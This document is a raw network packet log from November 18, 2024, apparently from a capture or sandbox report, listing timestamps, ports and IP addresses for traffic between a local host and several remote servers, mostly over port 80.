Nov 18, 2024 13:29:34.106117964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106127977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106138945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106143951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106151104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106154919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106164932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106169939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106172085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106197119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106231928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106389046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106400013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106410980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106446028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106472015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106525898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106543064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106554031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106564999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106570959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106576920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106579065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106589079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106609106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106631041 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106849909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106862068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106873035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106884956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106894970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106906891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.106910944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106910944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.106946945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.123728991 CET	49817	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:34.123732090 CET	49816	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:34.123742104 CET	443	49817	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:34.123749018 CET	443	49816	23.198.7.174	192.168.2.8
Nov 18, 2024 13:29:34.142467022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.142479897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.142518997 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.142529011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.142549038 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.142585039 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:34.142596006 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.142606020 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:34.142631054 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:34.151226997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.151242971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.151288986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.166388035 CET	49816	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:34.166388988 CET	49817	443	192.168.2.8	23.198.7.174
Nov 18, 2024 13:29:34.222424984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222467899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222479105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222491980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222543955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222549915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222560883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222573042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222582102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222587109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222611904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222644091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222697020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222707987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222718954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222748995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222780943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222803116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222851038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222877979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222888947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222899914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222910881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.222915888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222939014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222973108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.222995996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223032951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223118067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223129988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223154068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223169088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223191023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223201990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223212957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223222971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223226070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223234892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223268986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223388910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223400116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223411083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223422050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223427057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223436117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223448038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223448038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223474979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223486900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223654032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223664999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223675013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223685980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223696947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223700047 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223726988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223737001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223782063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223835945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223870039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223881006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223906040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223932981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223939896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223951101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223962069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223973036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223978043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.223982096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.223997116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224000931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224018097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224050045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224208117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224219084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224230051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224261999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224283934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224347115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224358082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224368095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224384069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224389076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224395037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224406958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224416971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224416971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224445105 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224479914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224664927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224680901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224692106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224697113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224703074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224701881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224711895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224724054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224735022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.224747896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224786997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.224927902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225038052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.225126982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225138903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225148916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225158930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225169897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225172043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.225181103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225192070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225198984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.225203037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225214005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225219011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225224018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225231886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.225234032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225249052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225260019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.225281000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.225307941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.225516081 CET	443	49818	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.225651979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225662947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225678921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225689888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.225691080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.225725889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.225749016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.226072073 CET	49818	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.226094961 CET	443	49818	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.227139950 CET	443	49818	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.227200985 CET	49818	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.228679895 CET	49818	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.228750944 CET	443	49818	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.259232998 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.259263039 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.259320021 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:34.259335041 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.259368896 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:34.259378910 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:34.269304991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.269329071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.269341946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.269360065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.269413948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.269414902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.269830942 CET	49818	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.269854069 CET	443	49818	204.79.197.219	192.168.2.8
Nov 18, 2024 13:29:34.289886951 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.289964914 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:34.289973021 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.289987087 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.290035009 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:34.292421103 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:34.292433977 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:34.310292006 CET	443	49820	23.198.7.185	192.168.2.8
Nov 18, 2024 13:29:34.310590029 CET	49820	443	192.168.2.8	23.198.7.185
Nov 18, 2024 13:29:34.310600042 CET	443	49820	23.198.7.185	192.168.2.8
Nov 18, 2024 13:29:34.313556910 CET	443	49820	23.198.7.185	192.168.2.8
Nov 18, 2024 13:29:34.313630104 CET	49820	443	192.168.2.8	23.198.7.185
Nov 18, 2024 13:29:34.314867020 CET	49820	443	192.168.2.8	23.198.7.185
Nov 18, 2024 13:29:34.314943075 CET	443	49820	23.198.7.185	192.168.2.8
Nov 18, 2024 13:29:34.324052095 CET	49818	443	192.168.2.8	204.79.197.219
Nov 18, 2024 13:29:34.341208935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341260910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341273069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341351986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.341351986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.341406107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341418982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341434956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341447115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341448069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.341567039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.341567039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.341656923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341669083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341681004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341691971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341701984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341713905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341718912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.341718912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.341731071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.341749907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.341777086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342133045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342144966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342154980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342165947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342175961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342180014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342190027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342191935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342205048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342216969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342228889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342233896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342245102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342247963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342257023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342258930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342271090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342294931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342323065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342789888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342802048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342812061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342828035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342839003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342845917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342849970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342861891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342869043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342871904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342884064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342888117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342900038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.342906952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342922926 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.342948914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.343328953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343339920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343346119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343350887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343362093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343368053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343373060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343378067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343413115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.343444109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.343559027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343571901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343581915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343594074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343611002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.343612909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.343637943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.343663931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.344134092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344146013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344156027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344166994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344177008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344187975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344193935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.344199896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344208956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.344213009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344224930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344234943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344244957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.344247103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344259024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344264030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.344270945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344281912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344283104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.344290972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.344295025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344305992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344316959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.344322920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.344357014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.344366074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345099926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345112085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345123053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345134020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345144987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345148087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345156908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345169067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345170021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345179081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345191002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345191956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345202923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345215082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345215082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345227957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345242023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345247030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:34.345258951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345272064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:34.345278978 CET	80	49746	185.215.113.206	192.168.2.8
